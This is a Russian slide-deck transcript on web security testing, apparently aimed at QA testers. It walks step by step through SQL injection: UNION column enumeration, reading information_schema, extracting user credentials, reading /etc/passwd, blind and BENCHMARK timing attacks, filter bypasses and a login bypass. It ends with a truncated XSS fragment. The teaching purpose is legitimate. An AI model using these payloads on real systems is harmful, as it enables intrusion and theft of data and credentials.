Тестирование защищенности. Все проще чем кажется. Игорь Бондаренко. Intetics Co.

Содержание

Слайд 2

Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют

Зачем нужно тестировать защищенность

90% сайтов опасны для пользователей и представляют угрозу

бизнесу.
43% сайтов не могут хранить конфиденциальную информацию в БД.
80% Вебмастеров не обновляют opensource продукты вовремя.
99,9% сайтов, которые имеют уязвимость, имеют еще несколько уязвимостей.
48% серверов имеют уязвимости на уровне операционной системы и приложений.
Слайд 3

SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов

SQL Injection

Внедрение SQL-кода — один из распространённых способов взлома сайтов и

программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Слайд 4

Слайд 5

Что может получить злоумышленник

Что может получить злоумышленник

Слайд 6

Слайд 7

Архитектура уязвимости типа SQL Injection

Архитектура уязвимости типа SQL Injection

Слайд 8

Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем

Простейший способ обнаружить уязвимость

Добавляем одинарную кавычку к запросу:
http://www.site.com/?id=1‘
Получаем ошибку типа:
Warning: mysql_fetch_object():

supplied argument is not a valid MySQL result resource in /home/mysite/www/htdocs/include/lib/news.php
Или
Видим ту же самую страницу что и по ссылке
http://www.site.com/?id=1
Слайд 9

Почему так происходит? query = "SELECT * FROM news WHERE id

Почему так происходит?

query =
"SELECT * FROM news WHERE id = '"

+ id + "'"
SELECT * FROM news WHERE id = '1''
Слайд 10

Какие еще есть способы проверки? Использование простых арифметических операций в запросе:

Какие еще есть способы проверки?

Использование простых арифметических операций в запросе:
site.com/index.php?id=2-1(Выводит страницу

1)
site.com/index.php?id=1*2(Выводит страницу 2)
site.com/index.php?id=1+and+1=1(Выводит страницу 1)
Использование сортировки в запросе:
site.com/index.php?showthread=285+ORDER+BY+1--+
Подстановка бессмысленной информации в запрос
site.com/index.php?id=1 anything (Выводит сообщение об ошибке)
Слайд 11

Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text

Как этим пользоваться?


/?id=1' UNION SELECT user,password FROM users--
SELECT title,text FROM news

WHERE id = '1'
SELECT title,text FROM news WHERE id = '1'
UNION
SELECT user,password FROM users
Слайд 12

Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’

Blind SQL injection
Тестирование истинных и ложных запросов:
site.com/index.php?id=2’ AND ‘1’ = ‘1’--
site.com/index.php?id=2’

AND ‘1’=‘2’--
Вывод информации в отчете об ошибках:
site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) --
Duplicate entry '5.0.45' for key 1
Слайд 13

Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT

Double-blind injection
Посимвольный перебор с помощью Benchmark:
site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1,

1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) –
Способ навредить серверу БД:
site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))
Слайд 14

На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where

На что еще обращать внимание?

URL:
http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where

Слайд 15

Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка

Практика, или SQL Injection глазами злоумышленника

Определение типа базы данных
Проверка прав пользователя

на запись файлов
Подбор количества столбцов
Определение вывода на экран
Получение информации о таблицах
Получение информации о колонках в требуемой таблице
Получение данных из таблицы и вывод на экран
Слайд 16

Ошибки характерные для разных видов баз данных

Ошибки характерные для разных видов баз данных

Слайд 17

Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт

Подбор количества столбцов

1. Простой перебор допустим у нас есть сайт с инъекцией:

www.site.com/index.php?id=1‘ Выполняем такой запрос www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 --
если появилась ошибка, то увеличиваем количество колонок на одну
www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 --
и так пока не исчезнет ошибка и появится пустая страница
Слайд 18

2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или

2. Оператор ORDER BY
www.site.com/index.php?id=-1+order+by+1--
ошибки нет, значит столбцов 1 или больше

1
www.site.com/index.php?id=-1+order+by+9999--
должна появится ошибка, значит столбцов меньше 9999
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда:
www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)
Слайд 19

Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4

Определение вывода

Предположим мы подобрали количество столбцов и их оказалось 4
www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас

интересует в какой части страницы, какая колонка выводится. Для этого подставим вместо одного из null – произвольный набор символов, в нашем случае «111»
www.site.com/index.php?id=-1+union+select+null,111,null,null--
Слайд 20

Получаем информацию о версии и пользователе Для получения информации о текущем

Получаем информацию о версии и пользователе

Для получения информации о текущем пользователе

используется функция user()
www.site.com/index.php?id=-1+union+select+null,user(),null,null--
Для определения версии используется функция version()
www.site.com/index.php?id=-1+union+select+null,user(),null,null--
Слайд 21

Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--

Чтение и запись файлов

Проверка возможности чтения/записи файлов:
www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'--
Чтение файла
www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--

Слайд 22

Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться

Узнаем таблицы

Для получения информации о таблицах и колонках необходимо обратиться к

служебной таблице Information_schema
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES--
Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
Слайд 23

Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет

Получаем информацию о колонках

Перебрав таблицы, определяем ту которая нам будет интересна.

Пусть это будет USER, что требуется для получения информации о колонках:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS--
Таким обрfзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER Изменяем немного наш запрос добавляя в него оператор WHERE:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добавляя LIMIT+OFFSET узнаём все колонки.
Слайд 24

Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы

Фильтрация кавычек

Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите

ошибку:
ERROR: syntax error at or near "user" at character 122
http://www.paulschou.com/tools/xlate/
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF  ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)|  |chr(115)||chr(101)||chr(114)--
Слайд 25

Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--

Фильтрация кавычек

Второй способ: использование вложенного подзапроса
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF  ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--

Слайд 26

Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра:

Фильтация пробелов

В случае фильтрации пробелов существуют следующий способы обхода фильтра:
Использование пробельных

символов «/*!*/» и «/**/» SELECT * FROM news WHERE id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admin'#‘ или SELECT * FROM news WHERE id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#'
Использование символов табуляции: %09 – табуляция %0A – символ новой строка %0D – возврат каретки %0B – вертикальная табуляция %0C – символ новой страницы
http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%0 9WHERE%09login='admin'#
Слайд 27

Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в

Получение информации из таблицы

Составляем запрос:
www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя

пользователя
Можно объединять 2 и более колонки разделяя их спец символом
www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null, null+from+user--
Мы увидим запись типа Login:email
Слайд 28

Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода

Уязвимость в скрипте авторизации

Поле ввода имени пользователя:
Username’--
Поле ввода пароля:
123' OR login='Admin'


%
Слайд 29

Демонстрация примеров

Демонстрация примеров

Слайд 30

Программы для работы с инъекциями SQL InjectMe – плагин для Firefox

Программы для работы с инъекциями

SQL InjectMe – плагин для Firefox
Absinthe –

утилита для проведения атак типа SQL Injection
SQL checker – анализатор возможности внедрения SQL кода
Слайд 31

XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости

XSS
XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных

информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты.
Слайд 32

XSS

XSS

Слайд 33

XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится

XSS

Цель
Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом

сайте
Как это сделать?
Внедрить куда-нибудь фрагмент кода типа

Автозакрывающиеся скобки: >>>> бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки

Автозакрывающиеся скобки:
>>>>< javascript:alert ('